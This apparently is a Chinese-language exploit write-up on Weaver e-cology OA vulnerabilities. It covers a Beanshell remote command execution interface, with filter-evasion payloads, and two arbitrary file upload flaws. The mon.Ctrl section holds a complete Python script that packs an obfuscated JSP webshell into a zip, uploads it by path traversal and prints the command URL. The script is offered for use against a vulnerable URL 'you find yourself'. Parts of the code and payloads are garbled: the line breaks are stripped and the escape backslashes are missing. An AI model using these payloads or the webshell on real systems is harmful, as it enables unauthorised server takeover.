泛微OA&&POC
泛微OA 多版本存在命令执行POC&EXP来源于网络
漏洞描述:
泛微e-cology OA系统的J**A Beanshell接口可被未授权访问,攻击者调用该Beanshell接口,可构造特定的HTTP请求绕过泛微本身一些安全限制从而达成远程命令执行
cnvd编号:CNVD--32204
影响版本:e-cology <=9.0
漏洞修复:屏蔽/weaver/*目录的访问
漏洞复现:
1.漏洞路径:/weaver/bsh.servlet.BshServlet
2. 把print(“hello!”)换成exec(“whoami”),就可以测试能否
执行系统命令了。
Poc1:bsh.script=u0065u0078u0065u0063(“whoami”);&bsh.servlet.output=raw
如果有全局过滤器过滤了exec或eval,会有报错,
可以采用unicode编码、字符串拼接等方式绕过,见下图:
Poc2: bsh.script=u0065u0078u0065u0063(“whoami”);&bsh.servlet.output=raw
Poc3:bsh.script=eval%00(“ex”%2b”ec(bsh.httpServletRequest.getParameter(”command”) )”);&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&command=whoami
泛微OA mon.ctrl任意文件上传漏洞
一、漏洞描述
泛微OA mon.Ctrl 存在任意文件上传漏洞,攻击者通过漏洞可以上传webshell文件控制服务器
二、漏洞影响
泛微OA
三、漏洞复现
存在漏洞的路径为
/weaver/mon.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp
1
使用POC进行文件上传
python poc.py
四、漏洞POC
(来源于网络,作者未知)
import zipfileimport randomimport sysimport requestsdef generate_random_str(randomlength=16):random_str = ''base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'length = len(base_str) - 1for i in range(randomlength):random_str += base_str[random.randint(0, length)]return random_strmm = generate_random_str(8)webshell_name1 = mm+'.jsp'webshell_name2 = '../../../'+webshell_name1def file_zip():shell = """<%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import="sun.misc.BASE64Decoder" %><%if(request.getParameter("cmd")!=null){BASE64Decoder decoder = new BASE64Decoder();Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));Process e = (Process)rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(newString(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, newObject[]{}), request.getParameter("cmd") );java.io.InputStream in = e.getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>""" ## 替换shell内容zf = zipfile.ZipFile(mm+'.zip', mode='w', compression=zipfile.ZIP_DEFLATED)zf.writestr(webshell_name2, shell)def GetShell(urllist):file_zip()# print('上传文件中')urls = urllist + '/weaver/mon.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp'file = [('file1', (mm+'.zip', open(mm + '.zip', 'rb'), 'application/zip'))]try:requests.post(url=urls,files=file,timeout=60, verify=False)GetShellurl = urllist+'/cloudstore/'+webshell_name1GetShelllist = requests.get(url = GetShellurl)if GetShelllist.status_code == 200:print(GetShellurl+"?cmd=whoami")except:passGetShell("自己找的漏洞URL")
泛微OA9前台任意文件上传
漏洞位于: /page/exportImport/uploadOperation.jsp文件中
Jsp流程大概是:判断请求是否是multipart请求,然就没有了,直接上传了,啊哈哈哈哈哈重点关注File file=new File(savepath+filename),Filename参数,是前台可控的,并且没有做任何过滤限制
利用非常简单,只要对着127.0.0.1/page/exportImport/uploadOperation.jsp来一个multipartRequest就可以,
然后请求路径:
view-source:http://0.0.0.0:5006/page/exportImport/fileTransfer/1.jsp